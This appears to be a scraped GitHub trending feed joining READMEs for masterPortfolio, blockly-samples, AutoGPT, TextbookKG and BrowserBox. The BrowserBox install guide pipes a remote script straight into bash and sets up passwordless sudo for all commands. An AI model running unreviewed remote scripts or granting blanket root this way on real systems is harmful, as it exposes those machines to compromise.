href="https://raw.githubusercontent.com/ashutosh1919/masterPortfolio/master/#ideas-dhruvkrishnavaid" title="Ideas, Planning, &amp; Feedback">🤔</a> <a href="https://raw.githubusercontent.com/ashutosh1919/masterPortfolio/master/#question-dhruvkrishnavaid" title="Answering Questions">💬</a></td> <td align="center" valign="top" width="14.28%"><a href="https://kasroudra.github.io"><img src="https://avatars.githubusercontent.com/u/78908440?v=4?s=100" width="100px;" alt="KasRoudra"><br><sub><b>KasRoudra</b></sub></a><br><a href="https://github.com/ashutosh1919/masterPortfolio/commits?author=KasRoudra" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://telegram.dog/AlbertEinstein_TG"><img src="https://avatars.githubusercontent.com/u/73480087?v=4?s=100" width="100px;" alt="Albert Einstein"><br><sub><b>Albert Einstein</b></sub></a><br><a href="https://github.com/ashutosh1919/masterPortfolio/commits?author=AlbertEinsteinTG" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/SurajPratap10"><img src="https://avatars.githubusercontent.com/u/92919173?v=4?s=100" width="100px;" alt="Suraj Pratap"><br><sub><b>Suraj Pratap</b></sub></a><br><a href="https://github.com/ashutosh1919/masterPortfolio/commits?author=SurajPratap10" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://lightmap.dev"><img src="https://avatars.githubusercontent.com/u/40917760?v=4?s=100" width="100px;" alt="Sai Teja"><br><sub><b>Sai Teja</b></sub></a><br><a href="https://github.com/ashutosh1919/masterPortfolio/commits?author=saiteja13427" title="Code">💻</a> <a href="https://github.com/ashutosh1919/masterPortfolio/commits?author=saiteja13427" title="Documentation">📖</a> <a href="https://raw.githubusercontent.com/ashutosh1919/masterPortfolio/master/#maintenance-saiteja13427" title="Maintenance">🚧</a> <a href="https://raw.githubusercontent.com/ashutosh1919/masterPortfolio/master/#ideas-saiteja13427" title="Ideas, Planning, &amp; Feedback">🤔</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://anirudhpanda.in/"><img src="https://avatars.githubusercontent.com/u/66218496?v=4?s=100" width="100px;" alt="Anirudh Panda"><br><sub><b>Anirudh Panda</b></sub></a><br><a href="https://github.com/ashutosh1919/masterPortfolio/commits?author=AnirudhPanda" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://hidayat7z.github.io"><img src="https://avatars.githubusercontent.com/u/63554016?v=4?s=100" width="100px;" alt="Md Hidayat Rasool"><br><sub><b>Md Hidayat Rasool</b></sub></a><br><a href="https://github.com/ashutosh1919/masterPortfolio/commits?author=hidayat7z" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://www.linkedin.com/in/siddhantsadangi/"><img src="https://avatars.githubusercontent.com/u/41324509?v=4?s=100" width="100px;" alt="Siddhant Sadangi"><br><sub><b>Siddhant Sadangi</b></sub></a><br><a href="https://github.com/ashutosh1919/masterPortfolio/commits?author=SiddhantSadangi" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://anoopvarghese.in/"><img src="https://avatars.githubusercontent.com/u/59723767?v=4?s=100" width="100px;" alt="Anoop V"><br><sub><b>Anoop V</b></sub></a><br><a href="https://github.com/ashutosh1919/masterPortfolio/commits?author=vanoop729" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/aash1999"><img src="https://avatars.githubusercontent.com/u/39939476?v=4?s=100" width="100px;" alt="Aakash Singh"><br><sub><b>Aakash Singh</b></sub></a><br><a href="https://github.com/ashutosh1919/masterPortfolio/commits?author=aash1999" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://aherrera3.github.io/"><img src="https://avatars.githubusercontent.com/u/52289646?v=4?s=100" width="100px;" alt="Angélica Herrera Alba"><br><sub><b>Angélica Herrera Alba</b></sub></a><br><a href="https://github.com/ashutosh1919/masterPortfolio/commits?author=aherrera3" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://davidminkovski.com"><img src="https://avatars.githubusercontent.com/u/1609264?v=4?s=100" width="100px;" alt="David Minkovski"><br><sub><b>David Minkovski</b></sub></a><br><a href="https://raw.githubusercontent.com/ashutosh1919/masterPortfolio/master/#ideas-dminkovski" title="Ideas, Planning, &amp; Feedback">🤔</a> <a href="https://github.com/ashutosh1919/masterPortfolio/commits?author=dminkovski" title="Code">💻</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="http://cdigruttola.it"><img src="https://avatars.githubusercontent.com/u/9153905?v=4?s=100" width="100px;" alt="Carmine Di Gruttola"><br><sub><b>Carmine Di Gruttola</b></sub></a><br><a href="https://raw.githubusercontent.com/ashutosh1919/masterPortfolio/master/#ideas-cdigruttola" title="Ideas, Planning, &amp; Feedback">🤔</a> <a href="https://raw.githubusercontent.com/ashutosh1919/masterPortfolio/master/#promotion-cdigruttola" title="Promotion">📣</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Vyomrana02"><img src="https://avatars.githubusercontent.com/u/87069619?v=4?s=100" width="100px;" alt="Vyom Rana"><br><sub><b>Vyom Rana</b></sub></a><br><a href="https://github.com/ashutosh1919/masterPortfolio/commits?author=Vyomrana02" title="Code">💻</a></td> </tr> </tbody> </table> <!-- markdownlint-restore --> <!-- prettier-ignore-end --> <!-- ALL-CONTRIBUTORS-LIST:END --> <h1>References 👏🏻</h1> <ul> <li>Some Design and Implementation Ideas are taken from <a href="https://github.com/saadpasta/developerFolio">Saad Pasta's Portfolio Project</a>.</li> <li>The Logo of MasterPortfolio is inspired from <a href="https://github.com/prettier/prettier-logo">prettier-logo</a> for <a href="https://github.com/prettier/prettier">prettier</a> designed by @ianstormtaylor.</li> </ul> - google/blockly-samples - 2023-09-24T01:33:27Z - tag:github.com,2023-09-24:/google/blockly-samples - - <p>Plugins, codelabs, and examples related to the Blockly library.</p><hr><h1 align="center"> Blockly Samples <br> <a href="https://github.com/google/blockly"><img src="https://tinyurl.com/built-on-blockly"> </a> </h1> <p>Plugins, codelabs, and examples related to the <a href="https://github.com/google/blockly">Blockly</a> library.</p> <p>This repository has three sections:</p> <ul> <li><a href="https://raw.githubusercontent.com/google/blockly-samples/osd/plugins/">Plugins</a>: self-contained pieces of code that add functionality to Blockly.</li> <li><a href="https://raw.githubusercontent.com/google/blockly-samples/osd/examples/">Examples</a>: self-contained sample projects demonstrating techniques to include and extend the Blockly library.</li> <li><a href="https://raw.githubusercontent.com/google/blockly-samples/osd/codelabs/">Codelabs</a>: interactive tutorials demonstrating how to use Blockly.</li> </ul> <p>Please see our <a href="https://google.github.io/blockly-samples/index.html">GitHub Pages site</a> for interactive demos of most plugins.</p> <h2>Support</h2> <p>Blockly has an active <a href="https://groups.google.com/forum/#!forum/blockly">developer forum</a>. Please drop by and say hello. Show us your prototypes early; collectively we have a lot of experience and can offer hints which will save you time. We actively monitor the forums and typically respond to questions within 2 working days.</p> <h2>License</h2> <p>Apache 2.0</p> + Significant-Gravitas/AutoGPT + 2023-09-25T01:32:23Z + tag:github.com,2023-09-25:/Significant-Gravitas/AutoGPT + + <p>An experimental open-source attempt to make GPT-4 fully autonomous.</p><hr><h1>🌟 AutoGPT: the heart of the open-source agent ecosystem</h1> <p><a href="https://discord.gg/autogpt"><img src="https://dcbadge.vercel.app/api/server/autogpt?style=flat" alt="Discord Follow"></a> <a href="https://github.com/Significant-Gravitas/AutoGPT/stargazers"><img src="https://img.shields.io/github/stars/Significant-Gravitas/AutoGPT?style=social" alt="GitHub Repo stars"></a> <a href="https://twitter.com/Auto_GPT"><img src="https://img.shields.io/twitter/follow/autogpt?style=social" alt="Twitter Follow"></a> <a href="https://opensource.org/licenses/MIT"><img src="https://img.shields.io/badge/License-MIT-yellow.svg?sanitize=true" alt="License: MIT"></a></p> <p><strong>AutoGPT</strong> is your go-to toolkit for supercharging agents. With its modular and extensible framework, you're empowered to focus on:</p> <ul> <li>🏗️ <strong>Building</strong> - Lay the foundation for something amazing.</li> <li>🧪 <strong>Testing</strong> - Fine-tune your agent to perfection.</li> <li>👀 <strong>Viewing</strong> - See your progress come to life.</li> </ul> <p>Be part of the revolution! <strong>AutoGPT</strong> stays at the forefront of AI innovation, featuring the codebase for the reigning champion in the Open-Source ecosystem.</p> <hr> <p align="center"> <a href="https://lablab.ai/event/autogpt-arena-hacks"> <img src="https://lablab.ai/_next/image?url=https%3A%2F%2Fstorage.googleapis.com%2Flablab-static-eu%2Fimages%2Fevents%2Fcll6p5cxj0000356zslac05gg%2Fcll6p5cxj0000356zslac05gg_imageLink_mtd14jk.jpg&amp;w=1080&amp;q=75" alt="AutoGPT Arena Hacks Hackathon"> </a> </p> <p align="center"> <strong>We're hosting a Hackathon!</strong> <br> Click the banner above for details and registration! </p> <hr> <h2>🥇 Current Best Agent: AutoGPT</h2> <p>Among our currently benchmarked agents, AutoGPT scores the best. This will change after the hackathon - the top-performing generalist agent will earn the esteemed position as the primary AutoGPT 🎊</p> <p>📈 To enter, submit your benchmark run through the UI.</p> <h2>🌟 Quickstart</h2> <ul> <li><strong>Jumpstart your journey!</strong> 🌠 To activate the best agent, follow the guide <a href="https://github.com/Significant-Gravitas/AutoGPT/raw/master/autogpts/autogpt/README.md">here</a>.</li> </ul> <p>Want to build your own groundbreaking agent using AutoGPT? 🛠️ Fork this repository! Detailed guidance is on the way. There are three major components to focus on:</p> <h3>🏗️ the Forge</h3> <p><strong>Forge your future!</strong> The <code>forge</code> is your innovation lab. All the boilerplate code is already handled, letting you channel all your creativity into building a revolutionary agent. It's more than a starting point, it's a launchpad 🚀 for your ideas.</p> <p>📘 <a href="https://github.com/Significant-Gravitas/AutoGPT/tree/master/autogpts/forge">Learn More</a></p> <h3>🎯 the Benchmark</h3> <p><strong>Test to impress!</strong> The <code>benchmark</code> offers a stringent testing environment. Our framework allows for autonomous, objective performance evaluations, ensuring your agents are primed for real-world action.</p> <p>📘 <a href="https://github.com/Significant-Gravitas/AutoGPT/raw/master/benchmark">Learn More</a></p> <h3>🎮 the UI</h3> <p><strong>Take Control!</strong> The <code>frontend</code> is your personal command center. It gives you a user-friendly interface to control and monitor your agents, making it easier to bring your ideas to life.</p> <p>📘 <a href="https://github.com/Significant-Gravitas/AutoGPT/tree/master/frontend">Learn More</a></p> <hr> <h3>🔄 Agent Protocol</h3> <p>🔌 <strong>Standardize to Maximize!</strong> To maintain a uniform standard and ensure seamless compatibility, AutoGPT employs the <a href="https://agentprotocol.ai/">agent protocol</a> from the AI Engineer Foundation. This standardizes the communication pathways from your agent to the frontend and benchmark.</p> <h3>🤔 Questions? Problems? Suggestions?</h3> <h4>Get help - <a href="https://discord.gg/autogpt">Discord 💬</a></h4> <p>To report a bug or request a feature, create a <a href="https://github.com/Significant-Gravitas/AutoGPT/issues/new/choose">GitHub Issue</a>. Please ensure someone else hasn’t created an issue for the same topic.</p> <p align="center"> <a href="https://star-history.com/#Significant-Gravitas/AutoGPT&amp;Date"> <img src="https://api.star-history.com/svg?repos=Significant-Gravitas/AutoGPT&amp;type=Date" alt="Star History Chart"> </a> </p> - sunlabuiuc/TextbookKG - 2023-09-24T01:33:27Z - tag:github.com,2023-09-24:/sunlabuiuc/TextbookKG - - <p>Knowledge Graph Generation for Any PDFs</p><hr><h1>TextbookKG (TxBKG)</h1> <h3>A super flexible user-friendly software transforming any PDF files (any pages) into Knowledge Graphs!</h3> <hr> <h2>Play with it!</h2> <p>Website: <a href="https://sunlabuiuc.github.io/TextbookKG/">https://sunlabuiuc.github.io/TextbookKG/</a></p> <p>Locally:</p> <pre><code class="language-bash">npm install npm start </code></pre> <p>To use the user repo feature, please contact me (<a href="mailto:pj20@illinois.edu">pj20@illinois.edu</a>) to authorize your google account.</p> <p>We will provide a demo video soon (by October 2023), after all desired features are developed.</p> + BrowserBox/BrowserBox + 2023-09-25T01:32:23Z + tag:github.com,2023-09-25:/BrowserBox/BrowserBox + + <p>🌀 BrowserBox is Web application virtualization via zero trust remote browser isolation and secure document gateway technology. Embed secure unrestricted webviews on any device in a regular webpage. Multiplayer embeddable browsers, open source!</p><hr><h1><em>Special Event!</em> 🤙 Create a private ephemeral Web Proxy hosted on your GitHub Actions minutes by opening an issue on this repo</h1> <p><strong>HOLD UP</strong> You need to <a href="https://raw.githubusercontent.com/BrowserBox/fork">fork</a> or <a href="https://raw.githubusercontent.com/BrowserBox/generate">generate</a> this repo first, so you have your own copy. Then open an issue and you will be guided through the process (1 manual step, rest is automatic), while your browser VPN is created.</p> <p>By default they remain open for 5 minutes, but you can make that longer by editing the workflow YAML file. Each minute used counts against your GitHub actions quota. Also, don't do anything abusive with this, remember you are browsing the web from inside GitHub's infrastructure (actions runners), so treat them with respect!</p> <p>Limitations: no audio, no DevTools, no docviewer (Because the ports are not accesible, although the services are running)</p> <p><em><strong>DOSY</strong></em></p> <p><strong>P.S</strong> want a real VPN? Then check out <a href="https://mullvad.net">Mullvad</a> (no affiliation). They also have a Mullvad Browser!</p> <p><em>regular README starts below this line</em></p> <hr> <h1>BrowserBox</h1> <h1>Web application virtualization via Zero Trust Remote Browser Isolation and Secure Document Gateway</h1> <p>BrowserBox is a leading-edge solution in the Zero Trust landscape, enabling embeddable multiplayer browsers in any web page on any device. Our cybersecurity focus is on ensuring that every web interaction is treated as potentially hostile, and isolating it, so that we protect your devices and network from harm.</p> <p>By leveraging the principles of Remote Browser Isolation (RBI), real-time streaming and collaborative browserin (co-browsing or "multiplayer browsers"), BrowserBoxPro ensures that no web content directly interacts with the end user's device, while remaining accessible through a shareable, collaborative interface.</p> <p>This guide will walk you through the seamless integration of BrowserBoxPro into your Zero Trust architecture.</p> <p><em><strong>NOTE: If you are installing on MacOS please be aware that performance will be very slow because headless Chrome on MacOS is <a href="https://github.com/puppeteer/puppeteer/issues/3938#issuecomment-469332659">'fake headless' (just a hidden window) because of limitations of the MacOS ecosystem faced by the Chrome authors</a>.</strong></em></p> <h1>Table of Contents</h1> <ul> <li><a href="https://raw.githubusercontent.com/BrowserBox/BrowserBox/boss/#browserbox-zero-trust-browsing">BrowserBox: Zero Trust Browsing</a> <ul> <li><a href="https://raw.githubusercontent.com/BrowserBox/BrowserBox/boss/#embracing-zero-trust-with-browserbox">Embracing Zero Trust with BrowserBox</a></li> <li><a href="https://raw.githubusercontent.com/BrowserBox/BrowserBox/boss/#key-features">Key Features</a></li> <li><a href="https://raw.githubusercontent.com/BrowserBox/BrowserBox/boss/#deploying-browserboxpro-in-a-zero-trust-environment-with-docker">Deploying BrowserBoxPro in a Zero Trust Environment with Docker</a></li> <li><a href="https://raw.githubusercontent.com/BrowserBox/BrowserBox/boss/#zero-trust-installation-guide">Zero Trust Installation Guide</a></li> <li><a href="https://raw.githubusercontent.com/BrowserBox/BrowserBox/boss/#installation">Installation</a> <ul> <li><a href="https://raw.githubusercontent.com/BrowserBox/BrowserBox/boss/#initial-machine-setup">Initial Machine Setup</a></li> <li><a href="https://raw.githubusercontent.com/BrowserBox/BrowserBox/boss/#installation-process">Installation Process</a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/BrowserBox/BrowserBox/boss/#applications-in-a-zero-trust-framework">Applications in a Zero Trust Framework</a> <ul> <li><a href="https://raw.githubusercontent.com/BrowserBox/BrowserBox/boss/#product-space-applications">Product Space Applications</a></li> <li><a href="https://raw.githubusercontent.com/BrowserBox/BrowserBox/boss/#creative-ways-that-clients-are-using-browserbox">Creative Ways that Clients are Using BrowserBox</a></li> <li><a href="https://raw.githubusercontent.com/BrowserBox/BrowserBox/boss/#internal-tooling-applications">Internal Tooling Applications</a></li> <li><a href="https://raw.githubusercontent.com/BrowserBox/BrowserBox/boss/#tech-and-framework-applications">Tech and Framework Applications</a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/BrowserBox/BrowserBox/boss/#features-of-browserbox-pro-in-a-zero-trust-environment">Features of BrowserBox Pro in a Zero Trust Environment</a></li> <li><a href="https://raw.githubusercontent.com/BrowserBox/BrowserBox/boss/#licensing-for-zero-trust">Licensing for Zero Trust</a> <ul> <li><a href="https://raw.githubusercontent.com/BrowserBox/BrowserBox/boss/#purchasing-a-commercial-license">Purchasing a commercial license</a></li> <li><a href="https://raw.githubusercontent.com/BrowserBox/BrowserBox/boss/#hardware-appliance-oem-licensing">Hardware Appliance (OEM) Licensing</a></li> <li><a href="https://raw.githubusercontent.com/BrowserBox/BrowserBox/boss/#sanctions-compliance">Sanctions Compliance</a></li> <li><a href="https://raw.githubusercontent.com/BrowserBox/BrowserBox/boss/#licensing-summary">Licensing Summary</a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/BrowserBox/BrowserBox/boss/#pricing">Pricing</a></li> <li><a href="https://raw.githubusercontent.com/BrowserBox/BrowserBox/boss/#elevate-your-zero-trust-strategy-with-browserboxpro">Elevate Your Zero Trust Strategy with BrowserBoxPro</a></li> <li><a href="https://raw.githubusercontent.com/BrowserBox/BrowserBox/boss/#copyright">Copyright</a></li> </ul> </li> </ul> <h2>Embracing Zero Trust with BrowserBox</h2> <p>In the evolving cybersecurity landscape, the Zero Trust model has emerged as a cornerstone. By assuming no trust by default and verifying every access request irrespective of its source, Zero Trust ensures robust security. BrowserBoxPro is at the forefront of this paradigm shift, offering:</p> <ul> <li><strong>Web Isolation</strong>: Every web session is isolated, ensuring malicious content doesn't reach the end-user's device.</li> <li><strong>Co-Browsing</strong>: Collaborative browsing without compromising security.</li> <li><strong>Zero Trust Integration</strong>: Easily integrates into your existing Zero Trust infrastructure.</li> </ul> <p>For the latest on how BrowserBox is shaping the Zero Trust landscape, visit our <a href="https://blog.dosyago.com">Company Blog</a>.</p> <ul> <li><a href="https://dosyago.com">Updated Pricing</a> - now with even more tiers for smaller use cases!</li> <li><a href="https://blog.dosyago.com/2023/06/26/browserbox-pro-goes-open-source-with-multiple-licenses.html">BrowserBox Pro Goes Open Source with Multiple Licenses </a></li> <li><a href="https://blog.dosyago.com/tutorials/2023/06/17/tunneling-browserbox-pro-over-SSH-complete-guide-to-using-port-forwarding-to-run-RBI-on-a-router.html">Tunnelling over SSH - You're guide to using Localhost Certificates and SSH port-forwarding to run BrowserBox Pro on a remote machine without a domain name, using SSH tunneling</a></li> </ul> <h2>Key Features</h2> <ul> <li><strong>Advanced Streaming</strong>: BrowserBoxPro offers advanced streaming capabilities, allowing you to seamlessly browse websites, stream videos, and access web applications with superior performance.</li> <li><strong>Enhanced Feature Set</strong>: Enjoy a wide range of enhanced features that enhance your browsing experience, including improved security, customizable settings, and optimized resource management.</li> <li><strong>Superior Performance</strong>: BrowserBoxPro delivers exceptional performance, ensuring smooth and responsive browsing even for resource-intensive websites and applications.</li> <li><strong>Flexible Usage</strong>: Whether you are a non-commercial user or using BrowserBoxPro for commercial purposes, you can benefit from the full range of pro features to enhance your browsing capabilities.</li> </ul> <h2>Deploying BrowserBoxPro in a Zero Trust Environment with Docker</h2> <p>Before diving in, ensure you have <a href="https://www.docker.com/">docker</a> installed!</p> <p>Deploying BrowserBoxPro within a Zero Trust framework is straightforward:</p> <ol> <li> <p>Obtain the latest Docker container for BrowserBoxPro from our <a href="https://github.com/dosyago/BrowserBoxPro/pkgs/container/browserboxpro">packages page</a> on GitHub Container Registry.</p> </li> <li> <p>Deploy the Docker container using our Zero Trust compliant run script. Choose a primary port number (<code>$PORT</code>) ensuring two extra ports are free both preceding and succeeding <code>$PORT</code>. Deploy by running:</p> </li> </ol> <pre><code class="language-console">PORT=8080 # or your preferred port bash &lt;(curl -s https://raw.githubusercontent.com/dosyago/BrowserBoxPro/7461dd1edb5e9e5b4f44da8961228e66cdcdf276/deploy-scripts/run_docker.sh) $PORT </code></pre> <p>Upon successful deployment, BrowserBoxPro will be operational, reinforcing your Zero Trust strategy. Access the browser using the provided login link: <code>https://&lt;your-host&gt;:$PORT/login?token=&lt;random token&gt;</code>.</p> <p>For support or to purchase licenses, connect with us at <a href="mailto:sales@dosyago.com">sales@dosyago.com</a> or visit: <a href="https://dosyago.com">https://dosyago.com</a>.</p> <h2>Zero Trust Installation Guide</h2> <p><strong>🌟 Video Installation Guide for Pro: <a href="https://youtu.be/cGUJCCPDWNE">https://youtu.be/cGUJCCPDWNE</a></strong></p> <p>For detailed information and progress updates, please refer to the <a href="https://github.com/dosyago/BrowserBox">official documentation</a>.</p> <h2>Installation</h2> <p>Follow these instructions to install BrowserBoxPro on your system.</p> <h3>Initial Machine Setup</h3> <p>Before installing BrowserBoxPro, ensure that your system meets the following requirements:</p> <ul> <li>Debian VPS with 1 cores, 1 GB RAM, and 25 GB SSD (e.g. Nanode from Linode)</li> <li>At least 5 Mbps internet connection</li> <li>A public hostname with a DNS A record pointing to your VPS's IP address, or localhost certificates installed on your local and remote machine (for example using <a href="https://github.com/FiloSottile/mkcert">mkcert</a>)</li> </ul> <p>First, update your distribution:</p> <p><code>apt update &amp;&amp; apt -y upgrade</code></p> <p>And install a few basic tools:</p> <p><code>apt install curl git wget</code></p> <p>Now, prepare the machine by following these steps:</p> <ol> <li> <p>Create a new user to operate BrowserBoxPro:</p> <pre><code>adduser pro </code></pre> </li> <li> <p>Disable the password for the newly created user:</p> <pre><code>usermod -L pro </code></pre> </li> <li> <p>Create a new group for sudo privileges:</p> <pre><code>addgroup sudoers </code></pre> </li> <li> <p>Add the following line to the sudoers file to avoid entering a password for sudo operations:</p> <pre><code>%sudoers ALL=(ALL) NOPASSWD:ALL </code></pre> <p>Use the <code>visudo</code> command to edit the sudoers file.</p> </li> <li> <p>Grant sudo privileges to the user:</p> <pre><code>usermod -G sudoers pro </code></pre> </li> </ol> <p>Switch to the <code>pro</code> user by executing the following command:</p> <pre><code>sudo -u pro bash </code></pre> <h3>Installation Process</h3> <p>Follow these steps to install BrowserBoxPro:</p> <ol> <li> <p>Clone the BrowserBoxPro repository:</p> <pre><code>git clone https://github.com/dosyago/BrowserBoxPro </code></pre> </li> <li> <p>Navigate to the cloned repository:</p> <pre><code>cd BrowserBoxPro </code></pre> </li> <li> <p>Run the global installation script, replacing <code>&lt;domain_name&gt;</code> with your domain name that points to the machine you're setting up (if you want to use it without a domain name, just use localhost here for the domain name, but you'll still need to copy the correct mkcert localsthost certificates to $HOME/sslcerts later):</p> <pre><code>./deploy-scripts/global_install.sh &lt;domain_name&gt; </code></pre> </li> <li> <p>Start the main service on port 8080 and generate the login link:</p> <pre><code>setup_bbpro --port 8080 </code></pre> </li> <li> <p>Launch BrowserBoxPro:</p> <pre><code>bbpro </code></pre> </li> </ol> <p>During the installation process, BrowserBoxPro will automatically install the required dependencies and configure the necessary settings.</p> <h2>Applications in a Zero Trust Framework</h2> <p>BrowserBoxPro isn't just a tool; it's a comprehensive solution designed to fit seamlessly into a Zero Trust architecture. Here's how:</p> <h3>Product Space Applications:</h3> <ul> <li><strong>Remote Browser Isolation</strong>: Fundamental to Zero Trust, ensuring no direct content interaction with user devices.</li> <li><strong>Co-Browsing</strong>: Collaborate without compromising on security.</li> <li><strong>VPN Alternatives</strong>: A more secure solution than traditional VPNs.</li> <li><strong>Email Threat Mitigation</strong>: Content Disarm &amp; Reconstruction (CDR) ensures safe email attachments.</li> <li><strong>Secure Web Interaction</strong>: A user-friendly UI for secure third-party processes.</li> </ul> <h3>Creative Ways that Clients are Using BrowserBox</h3> <ul> <li>A user-friendly UI that allows clients to perform 3rd-party processes without leaving your website.</li> <li>A fully customizable online hosted web browser that provides an alternative to downloadable browsers.</li> <li>The ability to record web app interactions to document bugs by capturing the event stream and viewport.</li> <li>A mechanism to create visual "How-To" guides illustrating key user stories.</li> </ul> <h3>Internal Tooling Applications:</h3> <ul> <li>A tool for human-in-the-loop intervention to resolve stuck browser automation jobs and identify "selector drift" and script-page mismatch issues.</li> <li>A robust web proxy to seamlessly integrate 3rd-party processes lacking APIs.</li> <li>An interactive console to inspect, observe, and interact with browser automation tasks.</li> <li>A browser that can be automated, offering effective evasion of bot detection mechanisms that target pure headless Chrome.</li> <li>A scriptable console and interactive simulator for automation tasks, creating an intuitive feedback loop.</li> </ul> <h3>Tech and Framework Applications:</h3> <ul> <li>An open web <code>&lt;WebView&gt;</code> tag.</li> <li>An <code>&lt;iframe&gt;</code> without cross-origin restrictions.</li> <li>A 'head' for headless browsers.</li> </ul> <p>For a comprehensive list of features and their availability in BrowserBoxPro, refer to the feature table below.</p> <h2>Features of BrowserBox Pro in a Zero Trust Environment</h2> <p>BrowserBox Pro offers an array of advanced features that set it apart from other versions of remote browser isolation. With fully open source-code, non-commercial use for free, frequent updates and cutting-edge technology, BrowserBox Pro provides an enhanced browsing experience with superior rendering, top-tier graphics, and minimal lag. Here are the key features of BrowserBox Pro:</p> <ul> <li>Advanced streaming technology and variable bitrate innovations for smoother browsing experience</li> <li>Superior rendering and graphics capabilities</li> <li>Structured, weekly update schedule with quarterly major improvements</li> <li>Exclusive advanced features not available in other versions</li> <li>Commercial use availability with Individual server and Self-hosted options</li> <li>Advanced security mechanisms and privacy safeguards</li> <li>Customizable browser UI</li> <li>Docker image compatibility for easy deployment</li> <li>Cloud and platform independence</li> <li>Multi-user security features (Pro exclusive)</li> <li>Auto-scaling and resource control (Pro exclusive)</li> <li>WebRTC/WebSocket viewport streaming (Pro exclusive)</li> <li>Fastest-path lag reduction (Pro exclusive)</li> <li>Built-in multiplayer mode with chat (Pro exclusive)</li> <li>Puppeteer scripting REPL console (Pro exclusive)</li> <li>Embeddable inside <code>&lt;iframe&gt;</code> (Pro exclusive)</li> <li>Kiosk mode (Pro exclusive)</li> <li>Adobe Flash Player compatibility (Pro exclusive)</li> <li>User-friendly API (Pro exclusive)</li> <li>SSH tunneling (Pro exclusive)</li> </ul> <p>These features make BrowserBox Pro the ideal choice for businesses and organizations looking to enhance their cybersecurity, privacy, and browsing capabilities.</p> <p>For more information about commercial options and licensing, please refer to the relevant sections below.</p> <h2>Licensing for Zero Trust</h2> <p>BrowserBoxPro is licensed separately under the following licenses:</p> <ul> <li><a href="https://raw.githubusercontent.com/BrowserBox/BrowserBox/boss/LICENSES/AGPL-3.0.txt">GNU Affero General Public License v3 (or later)</a></li> <li><a href="https://raw.githubusercontent.com/BrowserBox/BrowserBox/boss/LICENSES/PolyForm-Noncommercial-1.0.0.md">Polyform Non-Commercial License 1.0</a></li> <li><a href="https://raw.githubusercontent.com/BrowserBox/BrowserBox/boss/LICENSES/LicenseRef-BBP-Commercial-Perpetual.md">BrowserBox Pro perpetual commercial license</a></li> <li><a href="https://raw.githubusercontent.com/BrowserBox/BrowserBox/boss/LICENSES/LicenseRef-BBP-Commercial-Subscription.md">BrowserBox Pro subscription commercial license</a></li> </ul> <h4>What does this mean for me?</h4> <h5>Are you using BrowserBox Pro as it ships?</h5> <p>You may use BrowserBox Pro under the terms of the AGPLv3 (or later).</p> <h5>Are you modifying BrowserBox Pro or developing software that uses BrowserBox Pro and willing to license those changes under the AGPL?</h5> <p>You may use BrowserBox Pro under the terms of the AGPLv3 (or later).</p> <h5>Are you using BrowserBox Pro, modifying BrowserBox Pro, or developing software that uses BrowserBox Pro in a non-commercial capacity but do not wish to comply with the license terms of the AGPLv3?</h5> <p>You may use BrowserBox Pro under the terms of the Polyform Non-Commercial License 1.0.0.</p> <h5>Are you using BrowserBox Pro, modifying BrowserBox Pro, or developing software that uses BrowserBox Pro in a commercial capacity but do not wish to comply with the license terms of the AGPLv3?</h5> <p>You may purchase a <a href="https://raw.githubusercontent.com/BrowserBox/BrowserBox/boss/#purchasing-a-commercial-license">perpetual or subscription based commercial license</a>.</p> <h3>Purchasing a commercial license</h3> <p>Purchasing takes a minute. Our purchasing form accepts credit cards, bank transfers and many other forms of payment. Once purchased, you'll receive a commercial license PDF including your agreement and valid Order receipt and you will be all set to use BrowserBox Pro in your commercial applications. With the purchase of a commercial license:</p> <ul> <li>You may use BrowserBox Pro in as many commercial applications you like.</li> <li>You may use BrowserBox Pro in your own commercial applications and products. For example: premium VPN services, RBI systems, system integration portals, web automation and scraping products, educational platforms, and other products and apps.</li> <li>Customers and users of your products do not need to purchase their own license — so long as they are not developing their own commercial products with BrowserBox Pro.</li> </ul> <p><em>Please note that we cannot transact with sanctioned countries, entities or individuals.</em></p> <p>Commercial Licenses are priced per seat. A seat is someone who uses the BrowserBox Pro system, either in an internal application (like secure email attachment viewing), or an external customer-facing application (such as a customer of your remote browser isolation product). Commercial Licenses come in two flavors:</p> <ul> <li><strong>Perpetual License</strong> This is a license to use the version of BrowserBox Pro you purchase forever. The version can be updated to the latest via purchase of yearly licenses.</li> <li><strong>Yearly License</strong> This is a license to use the latest version available within the 12-months from your purchase. It can be manually renewed every year, or you can subscribe so it renews automatically.</li> </ul> <p>Commercial Licenses are available in two sizes:</p> <ul> <li><strong>Individual License</strong> Purchasable at <a href="https://dosyo.gumroad.com">our GumRoad site</a>. This is suitable for individuals or small teams working on commercial projects who don't want to use the AGPLv3.</li> <li><strong>License Pack</strong> Available in multiple sizes, from the small to the truly epic, with commensurately epic discounts at scale. These are purchasable at <a href="https://dosyago.com">our main website</a>.</li> </ul> <p>By obtaining a commercial license, you gain the freedom to tailor BrowserBox Pro to your specific requirements and integrate it seamlessly into your workflow. This empowers organizations to leverage the advanced features and capabilities of BrowserBox Pro while maintaining full control over its customization and usage.</p> <p>Support tiers and customization may be separately negotiated and purchased. To discuss your needs, please <a href="mailto:support@dosyago.com?subject=BrowserBox%20Pro">reach out to our helpful support team here</a>.</p> <h3>Hardware Appliance (OEM) Licensing</h3> <p>Are you an OEM and want to deploy BBPro on a hardware device that you sell to your customers? <a href="mailto:sales@dosyago.com?subject=OEM%20License">Contact us for special access to Appliance License pricing with Volume Discounts</a>. This pricing sheet and terms are tailored to suit OEM's delivering security products for business and industry. Please note that if you are supplying government or other non-commercial users you cannot "pass through" DOSYAGO's non-commercial license to your customers without licensing a Commercial license from us.</p> 